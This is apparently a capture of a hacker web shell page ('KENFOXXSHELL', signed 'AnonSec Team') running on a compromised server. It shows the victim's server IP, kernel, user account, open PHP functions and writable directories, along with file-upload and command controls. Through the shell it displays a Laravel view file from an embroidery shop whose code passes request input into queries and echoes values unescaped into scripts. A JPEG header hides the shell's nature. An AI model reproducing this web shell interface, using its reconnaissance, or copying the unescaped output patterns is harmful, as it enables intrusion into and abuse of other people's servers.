JFIFHHC     C  " 5????! ??? Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/public_html/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/public_html/storage/framework/views/1063e324eb2b1d8844098f4cf35ad38b9ec46623.php
<?php
    if(!empty($_SESSION['lang'])){
        if(!empty($_SESSION)) 
        $a = $_SESSION['lang'];
        else
        $a = 'en';
    } else{
       $a = 'en';  
    }
?>

<div class="vk-embroidery__list" id="embroideryList">
    <?php
          @$product=DB::table("products")->select('id')->where('id',$_GET['area_data'])->orderBy('id','asc')->first();   
           
          @$embroi_cate=DB::table("embroidery_cates")->select()->orderBy('id','asc')->get();  
         
          foreach($embroi_cate as $rows){
            $arr_embroi=explode(',',$rows->pro_id);
             
            foreach($arr_embroi as $item_emb){
               @$embroiderys=DB::table("embroiderys")->select()->where('cate_id',$rows->id)->get();
           
                if($item_emb == @$product->id){
                
                        foreach(@$embroiderys as $row){
    ?>
                            <div class="vk-embroidery-item">
                                <label>
                                    <input type="checkbox" name="embroi_name" value="<?php echo $row->price;?>" data-id="<?php echo $row->id;?>"/>
                                    <span class="vk-img vk-img--mw100 vk-embroidery-item__thumbnail">
                                        <img style="cursor: pointer;"  src="<?php echo e(asset('upload/embroidery/'.$row->images)); ?>" alt="<?php echo e($row->name); ?>"/>
                                    </span>
                                    <span class="vk-embroidery-item__brief">
                                        <span class="vk-img vk-img--mw100">
                                            <img src="<?php echo e(asset('upload/embroidery/'.$row->images)); ?>" alt="<?php echo e($row->name); ?>"/>
                                        </span>
                                    </span>
                                </label>
                            </div>
     <?php
                         
                        }    
                }
            }
          } 
               
    ?>
    </div>
    <button class="vk-modal__heading text-center vk-btn p-4" onclick="load_attr_product(<?php echo e(@$product->id); ?>);call<?php echo @$product->id?>();"  data-dismiss="modal" id="addToEmbroid"><?php echo $a == 'vi' ? "Thêm vào giỏ" : "ADD TO CART"; ?></button>    
    <script type="text/javascript">
     function test<?php echo @$product->id?>(){
     
              var a=[],b=[];
              var min=[],min2=[];
             $('#formValidate .name_2018<?php echo @$product->id?>').each(function(i){
                     var priceStd = $(this).find('option').first().data('op');
                     var isKey =  $('option:selected', this).data('key');
                     var option = $('option:selected', this).data('id');
                     var option1 = $('option:selected', this).data('op');
                     //
                     
                     
                     //
                    $(this).attr('data-id',option)
                    $(this).attr('data-op',option1)
                    //console.log('data '+i+': ', option);
                  
                    if(option > 0 ){
                        min=a.push(option);
                    }
                    if(option1 > 0 ){
                        if(isKey === true){
                            min2= b.push(option1*priceStd);
                        }else{
                             min2= b.push(option1);
                        }
                       
                    }  
                    
                })
           
            return [a,b];
         }
        function call<?php echo @$product->id?>(){
           
               var result1 = 0;   
                 var result = 0 ; 
                  var tong = 0;
               $('#formValidate .name_2018<?php echo $product->id?>').each(function(e,i){                     
               
                   var a = test<?php echo @$product->id?>()[0];
                   var b = test<?php echo @$product->id?>()[1];
                    
                        for (i = 0; i< a.length; i++ ){
                            result = result + a[i]*b[i]                           
                        }
                        a=[];
                        b=[];  
                         setTimeout(function(){
                              
                                 $('.shop-value-selected<?php echo $product->id;?>').each(function(){
                                    
                                     result1 += parseInt($(this).val());
                                      
                                 
                                 })
                                  tong =  result + result1;
                                  //console.log(tong)
                   
                                 $('#sum_sum<?php echo $product->id?>').text(numeral(tong).format('0,0'));
                                 $('#sum_sum_min<?php echo $product->id?>').text(numeral(tong).format('0,0')); 

                                     $('#sum_sum_min<?php echo $product->id?>').attr('data-tong',tong); 
                                     
                                   
                                  
                                 result = 0;  
                                 
                                 
                                $('#tongtien_combo').text(tongtien());
                                
                               
                           }, 1000);   
                            
                            
                        
                         return false; 
                            
            })
                                  
    }
    function tongtien(){
        var result = 0;
         $('.tongtien').each(function(){
            
            var tong = parseInt($(this).data('tong'),10);
            
            
            result += tong;
            console.log(tong)
            
           })
           
           return result;
    }
</script>
   
<script type="text/javascript">
  //click modal
  
 
    
    function load_attr_product(idproduct){
        var id=0;
        if($('input[name="embroi_name"]').data('id')>0){
            id = $('input[name="embroi_name"]:checked').data('id');
        }
   
        $.ajax({
             url: 'hinh-anh-mau-theu-mua-them',
             type: "GET",
             dataType: "html",
             data:{
                id:id,
                idproduct:idproduct
            },
             success: function(res) {
                $("#getViewImage"+idproduct).html(res);
                
             }
        });
        
        
        
        
    }
    
    
// and attach a click event handler
        $("input:checkbox").on('click', function () {
            // in the handler, 'this' refers to the box clicked on
            var $box = $(this);
            if ($box.is(":checked")) {
                // the name of the box is retrieved using the .attr() method
                // as it is assumed and expected to be immutable
                var group = "input:checkbox[name='" + $box.attr("name") + "']";
                // the checked state of the group/box on the other hand will change
                // and the current value is retrieved using .prop() method
                $(group).prop("checked", false);
                $box.prop("checked", true);
            } else {
                $box.prop("checked", false);
            }
        });
</script> 
 
 
 
 
 

Anon7 - 2022
AnonSec Team